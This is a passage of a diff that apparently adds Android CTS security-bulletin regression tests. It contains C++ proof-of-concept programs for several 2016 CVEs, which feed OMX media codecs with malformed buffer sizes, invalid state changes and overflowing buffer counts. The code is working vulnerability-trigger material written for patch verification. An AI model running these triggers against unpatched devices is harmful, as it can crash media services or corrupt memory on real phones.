+ params->format.video.nFrameHeight = 0;
+
+ /*
+ * Exit from here if setParameter fails.
+ * This is the expected behavior in Android N
+ */
+ err = node->setParameter(OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ ALOGI("setParameter, err: %d", err);
+ if (err != OK) {
+ node->freeNode();
+ free(params);
+ client.disconnect();
+ return false;
+ }
+
+ /*
+ * Exit from here if useBuffer fails.
+ * This is the expected behavior in Android N
+ */
+ err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
+ ALOGE("useBuffer, err: %d", err);
+ if (err != OK) {
+ node->freeNode();
+ free(params);
+ client.disconnect();
+ return false;
+ }
+
+ params->nBufferCountActual = 0xFFFFFFFF;
+
+ err = node->setParameter(OMX_IndexParamPortDefinition, params,
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ ALOGE("setParameter, change actualcount, err: %d", err);
+
+ err = node->freeNode();
+ free(params);
+ client.disconnect();
+ ALOGI("freeNode, err: %d", err);
+ return true;
+}
+
+int main() {
+ return (int)(!fuzzIOMXSetParameterChangeCount());
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk
new file mode 100644
index 0000000..a353919
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-2485
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES_32 := ../includes/omxUtils.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_32 := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES_32 += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES_32 := libbinder
+LOCAL_SHARED_LIBRARIES_32 += liblog
+LOCAL_SHARED_LIBRARIES_32 += libstagefright
+LOCAL_SHARED_LIBRARIES_32 += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES_32 += libutils
+LOCAL_SHARED_LIBRARIES_32 += libmedia_omx
+LOCAL_SHARED_LIBRARIES_32 += libcutils
+LOCAL_SHARED_LIBRARIES_32 += libhidlbase
+LOCAL_SHARED_LIBRARIES_32 += libhidlmemory
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
new file mode 100644
index 0000000..8af3e39
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2485/poc.cpp
@@ -0,0 +1,186 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+#include <fstream>
+#include "../includes/omxUtils.h"
+#include "hidlmemory/mapping.h"
+
+#define FILE_SIZE UINT16_MAX + 1
+#define INPUT_BUFFER_SIZE 16380
+#define NUMBER_OF_BUFFERS 4
+#define VULNERABLE_SIZE 4
+#define SLEEP_TIME_IN_SECONDS 1
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC 30
+
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+ (void) argc;
+ (void) argv;
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+ std::ifstream file(argv[1], std::ifstream::binary);
+ long size = FILE_SIZE;
+ uint8_t *buffer = new uint8_t[size];
+ if (!buffer) {
+ file.close();
+ return EXIT_FAILURE;
+ }
+ file.read((char *) buffer, size);
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.gsm.decoder");
+ omxExitOnError(ret);
+
+ /* Set OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ if (!params) {
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nBufferSize = INPUT_BUFFER_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+
+ /* Prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ /* Set OMX output port parameters */
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ params->nPortIndex = OMX_UTILS_OP_PORT;
+ params->nBufferSize = VULNERABLE_SIZE;
+ params->nBufferCountActual = params->nBufferCountMin = NUMBER_OF_BUFFERS;
+ omxUtilsSetParameter(OMX_UTILS_OP_PORT, params);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+
+ /* Prepare output port buffers */
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = VULNERABLE_SIZE;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+ inputBuffers[i].mHidlMemory);
+ memcpy((void *) mem->getPointer(),
+ (void *) (buffer + INPUT_BUFFER_SIZE * i),
+ INPUT_BUFFER_SIZE);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &inBufferId[i]);
+ }
+
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (int i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory,
+ &outBufferId[i]);
+ }
+
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t endTime = currentTime + EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_IN_SEC;
+ while (currentTime < endTime) {
+ sleep(SLEEP_TIME_IN_SECONDS);
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (numCallbackEmptyBufferDone != inBufferCnt) {
+ free(params);
+ file.close();
+ delete[] buffer;
+ return EXIT_FAILURE;
+ }
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ free(params);
+ file.close();
+ delete[] buffer;
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
new file mode 100644
index 0000000..2767528
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3746
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES += $(TOP)/frameworks/native/include/media/openmax \
+ $(TOP)/frameworks/av/media/libstagefright
+
+LOCAL_SHARED_LIBRARIES := \
+ liblog \
+ libbinder \
+ libutils \
+ libmedia \
+ libstagefright \
+ libmedia_omx \
+ libhidlmemory \
+ libstagefright_foundation
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
new file mode 100644
index 0000000..7b67095
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3746/poc.cpp
@@ -0,0 +1,148 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <SharedMemoryBuffer.h>
+#include <binder/MemoryDealer.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <media/stagefright/foundation/AMessage.h>
+
+#include "OMX_Component.h"
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+ virtual void onMessages(const std::list<omx_message> &) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomVpx() {
+ const char *name = "OMX.qcom.video.decoder.vp8";
+ int fenceFd = -1;
+
+ int inSize = 6230016 * 4;
+ int outSize = 159744 * 4;
+
+ sp<IMemory> memory;
+ sp<IOMXNode> mOMXNode;
+ sp<IOMX> mOmx;
+
+ OMXClient client;
+ if (client.connect() != OK) {
+ ALOGE("OMXClient connect == NULL");
+ return false;
+ }
+
+ mOmx = client.interface();
+ if (mOmx == NULL) {
+ ALOGE("OMXClient interface mOmx == NULL");
+ client.disconnect();
+ return false;
+ }
+
+ sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
+
+ ALOGI("-----------decode------------");
+ status_t err = mOmx->allocateNode(name, observerDec, &mOMXNode);
+ if (err != OK) {
+ ALOGE("%s node allocation failed", name);
+ client.disconnect();
+ return false;
+ }
+
+ // change state from loaded to idle
+ err = mOMXNode->sendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+ mOMXNode->freeNode();
+ client.disconnect();
+ return false;
+ }
+
+ // Input
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inSize);
+ IOMX::buffer_id inBufferId = 0;
+ memory = dealerIn->allocate(inSize);
+ if (memory.get() == nullptr || memory->pointer() == nullptr) {
+ ALOGE("memory allocate failed for port index 0, err: %d", err);
+ mOMXNode->freeNode();
+ client.disconnect();
+ return false;
+ }
+
+ /*
+ * keep running to check whether mediaserver crashes
+ * Error conditions are not checked for usebuffer/emptybuffer/fillbuffer
+ */
+
+ OMXBuffer omxInBuf(memory);
+ memset(memory->pointer(), 0xCF, inSize);
+ err = mOMXNode->useBuffer(0, omxInBuf, &inBufferId);
+ ALOGI("useBuffer, port index 0, err: %d", err);
+
+ sp<AMessage> inputFormat = new AMessage;
+ sp<MediaCodecBuffer> codecDataIn;
+ codecDataIn = new SharedMemoryBuffer(inputFormat, memory);
+ OMXBuffer omxInBufShared(codecDataIn);
+
+ // Output
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outSize);
+ IOMX::buffer_id outBufferId = 0;
+ memory = dealerOut->allocate(outSize);
+ if (memory.get() == nullptr || memory->pointer() == nullptr) {
+ ALOGE("memory allocate failed for port index 1, err: %d", err);
+ mOMXNode->freeNode();
+ client.disconnect();
+ return false;
+ }
+ OMXBuffer omxOutBuf(memory);
+ err = mOMXNode->useBuffer(1, omxOutBuf, &outBufferId);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+
+ sp<AMessage> outputFormat = new AMessage;
+ sp<MediaCodecBuffer> codecDataOut;
+ codecDataOut = new SharedMemoryBuffer(outputFormat, memory);
+ OMXBuffer omxOutBufShared(codecDataOut);
+
+ // change state from idle to executing
+ err = mOMXNode->sendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+ mOMXNode->freeNode();
+ client.disconnect();
+ return false;
+ }
+
+ // keep running to check whether mediaserver crashes
+ err = mOMXNode->emptyBuffer(inBufferId, omxInBufShared, 0, 0, fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+
+ err = mOMXNode->fillBuffer(outBufferId, omxOutBufShared, fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+
+ // free node
+ err = mOMXNode->freeNode();
+ ALOGI("freeNode, err: %d", err);
+
+ client.disconnect();
+ return true;
+}
+
+int main() { return (int)(!fuzzIOMXQcomVpx()); }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
new file mode 100644
index 0000000..08041fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3747
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+ $(TOP)/frameworks/av/media/libstagefright \
+ $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+ libstagefright \
+ libbinder \
+ libmedia \
+ libmedia_omx \
+ liblog \
+ libutils
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
new file mode 100644
index 0000000..38a0afa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
@@ -0,0 +1,145 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "CVE-2016-3747"
+
+#include <OMX_Component.h>
+#include <binder/MemoryDealer.h>
+#include <jni.h>
+#include <log/log.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/stagefright/OMXClient.h>
+#include <utils/StrongPointer.h>
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+ DummyOMXObserver() {}
+
+ virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+ protected:
+ virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomEnc() {
+ sp<IOMXNode> node;
+ sp<IOMX> mOmx;
+ int fenceFd = -1;
+ const char *name = "OMX.qcom.video.encoder.mpeg4";
+
+ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ params->nPortIndex = 0; // input port
+ params->format.video.nFrameHeight = 1280 * 4;
+ params->format.video.nFrameWidth = 720 * 4;
+ params->nBufferCountActual = 12;
+ params->nBufferSize = 73728;
+ params->nBufferCountMin = 0x4;
+
+ int inMemSize = params->nBufferSize * 12;
+ int outMemSize = 49152 * 4;
+ int inBufferCnt = 12;
+ int outBufferCnt = 4;
+ int inBufferSize = inMemSize / inBufferCnt;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp<IMemory> memory;
+
+ OMXClient client;
+ if (client.connect() != OK) {
+ ALOGE("OMXClient connect == NULL");
+ return false;
+ }
+
+ mOmx = client.interface();
+ if (mOmx == NULL) {
+ ALOGE("OMXClient interface mOmx == NULL");
+ client.disconnect();
+ return false;
+ }
+
+ sp<DummyOMXObserver> observer = new DummyOMXObserver();
+ status_t err = mOmx->allocateNode(name, observer, &node);
+ if (err != OK) {
+ ALOGI("%s node allocation fails", name);
+ return false;
+ }
+ // make venc in invalid state
+ err = node->sendCommand(OMX_CommandStateSet, 2);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+
+ sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ for (int i = 0; i < inBufferCnt; i++) {
+ sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+ if (memory.get() == nullptr) {
+ ALOGE("memory allocate failed for port index 0, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+ OMXBuffer omxInBuf(memory);
+ err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
+ ALOGI("useBuffer, port index 0, err: %d", err);
+ }
+
+ sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ for (int i = 0; i < outBufferCnt; i++) {
+ sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+ if (memory.get() == nullptr) {
+ ALOGE("memory allocate failed for port index 1, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+ OMXBuffer omxOutBuf(memory);
+ err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
+ ALOGI("useBuffer, port index 1, err: %d", err);
+ }
+
+ // make venc in invalid state
+ err = node->sendCommand(OMX_CommandStateSet, 3);
+ ALOGI("sendCommand, err: %d", err);
+ if (err != OK) {
+ ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+ node->freeNode();
+ return false;
+ }
+
+ OMXBuffer omxInBuf(memory);
+ for (int i = 0; i < inBufferCnt; i++) {
+ err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
+ ALOGI("emptyBuffer, err: %d", err);
+ }
+
+ OMXBuffer omxOutBuf(memory);
+ for (int i = 0; i < outBufferCnt; i++) {
+ err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
+ ALOGI("fillBuffer, err: %d", err);
+ }
+ free(params);
+ err = node->freeNode();
+ ALOGI("freeNode, err: %d", err);
+ return true;
+}
+
+int main() { return fuzzIOMXQcomEnc(); }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/Android.mk
new file mode 100644
index 0000000..e33a218
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2016-3909
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libmedia_omx
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES += libcutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/poc.cpp
new file mode 100644
index 0000000..3105665
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3909/poc.cpp
@@ -0,0 +1,235 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define FRAME_WIDTH 176
+#define FRAME_HEIGHT 144
+#define MEM_SIZE 4096*4096
+#define BUFFER_COUNT 2
+#define VULNERABLE_MEM_SIZE 8
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers,
+ int BufferSize) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(BufferSize, [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+int main() {
+ status_t err;
+ omx_message msg;
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.mpeg4.encoder");
+ omxExitOnError(ret);
+ int allCallbacksReceivedEmptyBufferDone = 0;
+ int inMemSize = MEM_SIZE;
+ int outMemSize = MEM_SIZE;
+ int inBufferCnt = BUFFER_COUNT;
+ int outBufferCnt = BUFFER_COUNT;
+ int inBufferSize = inMemSize / inBufferCnt;
+ int outBufferSize = outMemSize / outBufferCnt;
+ /* Get OMX input port parameters */
+ int paramsSize = sizeof(OMX_PARAM_PORTDEFINITIONTYPE);
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(paramsSize);
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ params->nBufferCountActual = BUFFER_COUNT;
+ params->nBufferCountMin = BUFFER_COUNT;
+ params->nPortIndex = OMX_UTILS_IP_PORT;
+ params->nSize = paramsSize;
+ params->nBufferSize = inBufferSize;
+ params->format.video.eColorFormat = OMX_COLOR_FormatYUV420Planar;
+ params->format.video.eCompressionFormat = OMX_VIDEO_CodingUnused;
+ params->format.video.nFrameWidth = FRAME_WIDTH;
+ params->format.video.nFrameHeight = FRAME_HEIGHT;
+ /* Set OMX input port parameters */
+ err = omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ IOMX::buffer_id *ipBufferId = new IOMX::buffer_id[inBufferCnt];
+ int i;
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ /* Allocated input buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; i++) {
+ ipBufferId[i] = inputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory,
+ &ipBufferId[i]);
+ }
+ /* Get OMX output port parameters */
